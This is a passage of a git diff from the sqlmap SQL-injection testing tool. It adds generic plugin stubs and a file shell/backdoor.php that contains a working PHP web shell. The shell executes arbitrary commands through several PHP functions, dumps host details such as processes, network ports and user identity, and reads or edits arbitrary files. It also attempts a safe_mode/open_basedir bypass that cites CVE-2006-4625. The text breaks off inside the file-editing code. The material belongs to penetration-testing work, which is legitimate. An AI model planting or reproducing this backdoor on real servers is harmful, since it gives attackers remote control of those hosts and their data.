+
+ def writeFile(self, wFile):
+ errMsg = "this plugin does not support OS file writing yet"
+ raise sqlmapUnsupportedFeatureException, errMsg
diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py
new file mode 100644
index 000000000..52085163c
--- /dev/null
+++ b/plugins/generic/fingerprint.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+
+"""
+$Id: fingerprint.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.exception import sqlmapUndefinedMethod
+
+
+class Fingerprint:
+ """
+ This class defines generic fingerprint functionalities for plugins.
+ """
+
+ @staticmethod
+ def unescape(expression):
+ errMsg = "'unescape' method must be defined "
+ errMsg += "into the specific DBMS plugin"
+ raise sqlmapUndefinedMethod, errMsg
+
+
+ @staticmethod
+ def escape(expression):
+ errMsg = "'escape' method must be defined "
+ errMsg += "into the specific DBMS plugin"
+ raise sqlmapUndefinedMethod, errMsg
+
+
+ def getFingerprint(self):
+ errMsg = "'getFingerprint' method must be defined "
+ errMsg += "into the specific DBMS plugin"
+ raise sqlmapUndefinedMethod, errMsg
+
+
+ def checkDbms(self):
+ errMsg = "'checkDbms' method must be defined "
+ errMsg += "into the specific DBMS plugin"
+ raise sqlmapUndefinedMethod, errMsg
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
new file mode 100644
index 000000000..f6982d92d
--- /dev/null
+++ b/plugins/generic/takeover.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+"""
+$Id: takeover.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.exception import sqlmapUnsupportedFeatureException
+
+
+class Takeover:
+ """
+ This class defines generic OS takeover functionalities for plugins.
+ """
+
+ def osShell(self):
+ errMsg = "this plugin does not support OS shell functionality yet"
+ raise sqlmapUnsupportedFeatureException, errMsg
diff --git a/shell/backdoor.php b/shell/backdoor.php
new file mode 100644
index 000000000..07ecc696c
--- /dev/null
+++ b/shell/backdoor.php
@@ -0,0 +1,304 @@
+Error: " . $message . ".";
+ die($completeMessage);
+}
+
+function getSymbolByQuantity($bytes) {
+ $symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
+ $exp=@floor(log($bytes)/log(1024));
+
+ return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp))));
+}
+
+function ex($command) {
+ $res='';
+ if (@function_exists('exec')) {
+ @exec($command, $res);
+ $res=@join("\n", $res);
+ }
+ elseif (@function_exists('shell_exec')) {
+ $res=@shell_exec($command);
+ }
+ elseif(@function_exists('system')) {
+ @ob_start();
+ @system($command);
+ $res=@ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif (@function_exists('passthru')) {
+ @ob_start();
+ @passthru($command);
+ $res=@ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif (@is_resource($f=@popen($command, "r"))) {
+ $res="";
+ while(!@feof($f)) {
+ $res .= @fread($f, 1024);
+ }
+ @pclose($f);
+ }
+ $res=@htmlspecialchars($res);
+ return $res;
+}
+
+if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
+ echo "";
+ echo "";
+ echo "";
+ echo "";
+ echo "";
+ echo "sqlmap PHP backdoor";
+ echo "sqlmap PHP backdoor
";
+ echo "
System information: here
";
+ echo "PHP info: here
";
+ echo "Send an email: here
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+ echo "
";
+}
+
+if (isset($_REQUEST["sysinfo"])) {
+ if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") {
+ $win=1;
+ }
+ else {
+ $win=0;
+ }
+ $safeMode=@ini_get("safe_mode");
+ $openBaseDir=@ini_get("open_basedir");
+ if ($safeMode || $openBaseDir) {
+ /**
+ * Exploit CVE: CVE-2006-4625
+ * Affected Software: PHP 5.1.6 / 4.4.4 < = x
+ * Advisory URL: http://securityreason.com/achievement_securityalert/42
+ * Try to restore to default value
+ */
+ ini_restore("safe_mode");
+ ini_restore("open_basedir");
+ }
+ $magicQuotesGpc=@ini_get("magic_quotes_gpc");
+ $dir=@getcwd();
+ $total=@disk_total_space($dir);
+ $free=@disk_free_space($dir);
+ echo "
Operating system" . @PHP_OS;
+ echo "
Server uname" . php_uname();
+ echo "
Server uptime";
+ echo ex("uptime");
+ echo "
Server time";
+ echo date("D, M d, h:iA");
+ echo "
Disk space";
+ echo "Total space: " . getSymbolByQuantity($total) . "
";
+ echo "Free space: " . getSymbolByQuantity($free);
+ echo "
Web server username";
+ echo (!$win) ? `id` . "
" : @get_current_user();
+ echo "
PHP version" . @phpversion();
+ echo "
PHP safe_mode";
+ echo ($safeMode) ? "ON
" : "OFF
";
+ echo "
PHP open_basedir";
+ echo ($openBaseDir) ? "ON
" : "OFF
";
+ echo "
PHP magic_quotes_gpc";
+ echo ($magicQuotesGpc) ? "ON
" : "OFF
";
+ echo "
CPU information";
+ echo ex("cat /proc/cpuinfo");
+ echo "
Memory information";
+ echo ex("cat /proc/meminfo");
+ echo "
Open ports and active connections";
+ echo ex("netstat -nat");
+ echo "
Network devices";
+ echo ex("/sbin/ifconfig -a");
+ echo "
Processes";
+ echo ex("ps auxfww");
+ echo "
";
+}
+
+else if(isset($_REQUEST["phpinfo"])) {
+ echo @phpinfo();
+}
+
+else if (isset($_REQUEST["readFile"])) {
+ $file=$_REQUEST["readFile"];
+ $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
+ $fileContent=@file_get_contents($file);
+ echo "
File: " . $file . "
";
+ echo "
" . @htmlspecialchars($fileContent) . "
";
+}
+
+else if(isset($_REQUEST["editFile"])) {
+ $file=$_REQUEST["editFile"];
+ if (!$file) {
+ error("Specify the file to edit");
+ }
+ $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
+ $fileContent=@file_get_contents($file);
+ echo "